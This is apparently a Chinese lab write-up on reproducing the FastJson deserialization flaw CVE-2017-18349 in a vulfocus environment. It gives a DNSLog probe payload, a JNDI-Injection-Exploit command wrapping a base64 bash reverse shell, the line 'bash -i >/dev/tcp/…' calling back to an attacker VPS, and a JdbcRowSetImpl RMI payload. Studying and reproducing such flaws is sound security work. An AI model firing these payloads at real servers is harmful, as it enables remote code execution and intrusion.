当前位置: 首页 > news >正文

FastJson反序列化漏洞(CVE-2017-18349)

漏洞原理

原理就不多说了,可以去看我这篇文章,已经写得很详细了。

Java安全—log4j日志&FastJson序列化&JNDI注入-CSDN博客

影响版本

FastJson<=1.2.24

复现过程

这里我是用vulfocus.cn这个漏洞平台去复现的,比较方便,访问发现是个Json的数据。

抓个包,改为post请求模式,数据类型改为json,随便请求个json格式的数据再发送,发现其会处理json的数据。

找个dnslog平台测试一下。

{"a":{"@type":"java.net.Inet4Address","val":"dnslog地址"}
}

发现有回显,说明存在远程命令执行漏洞。

接着来反弹shell,我们用JNDI-Injection-Exploit这个工具来进行,这个工具比较方便可以根据命令来生成rmi/ldap资源路径,就不需要我们自己编写class文件了。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx(vps的IP)

把上面echo后面的xxxx替换成下面反弹shell命令的base64编码,执行命令之后就会生成几个资源链接,不知道用哪个的话,都试试就行。

bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

利用这个payload,把dataSourceName里面的内容换成我们上面的资源链接。

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx/xxx",	"autoCommit":true}
}

监听一下连接端口

重新发包。

可以看到有服务器请求了我们的rmi资源。

但是没有返回shell,奇了怪了,昨天都还正常的,算了不管了,反正原理就这样。

总结

这个漏洞原理只要你把它搞懂了其实很简单的,不算难,而且无论什么版本的FastJson的漏洞原理都是一样的。只不过是增加了一下黑白名单的过滤,也存在对应的绕过方法,搜一下payload即可。

http://www.lryc.cn/news/488244.html

相关文章:

  • 【优选算法篇】分治乾坤,万物归一:在重组中窥见无声的秩序
  • C++:探索AVL树旋转的奥秘
  • 2. Django中的URL调度器 (自定义路径转换器)
  • 深度学习:神经网络中线性层的使用
  • 【刷题】算法设计题+程序设计题【2】2019-2024
  • 搭建es环境
  • 阿里云和七牛云对象存储区别和实现
  • uniapp微信小程序接入airkiss插件进行WIFI配网
  • 03 —— Webpack 自动生成 html 文件
  • Python毕业设计选题:基于python的豆瓣电影数据分析可视化系统-flask+spider
  • 抽象类能使用final修饰吗?
  • C语言内存:我家大门常打开
  • 路由协议——iBGP与EBGP
  • 【Linux】基础02
  • Elasticsearch面试内容整理-安全与权限管理
  • 【数据分享】中国汽车工业年鉴(1986-2023)
  • el-cascader 使用笔记
  • 代替Spinnaker 的 POINTGREY工业级相机 FLIR相机 Python编程案例
  • 网络篇12 | SSH2协议应用,禁SFTP子模式实现文件传输
  • MetaGPT实现多动作Agent
  • docker更新镜像源
  • TSmaster Trace 窗口
  • 【Python模拟websocket登陆-拆包封包】
  • 速盾:海外服务器使用CDN加速有什么好处?
  • windows系统中实现对于appium的依赖搭建
  • 使用MATLAB进行字符串处理
  • Sourcetree登录GitLab账号
  • Linux进阶:软件安装、网络操作、端口、进程等
  • 光猫、路由器、交换机之连接使用(Connection and Usage of Optical Cats, Routers, and Switches)
  • 2025蓝桥杯(单片机)备赛--扩展外设之超声波测距原理与应用(十一)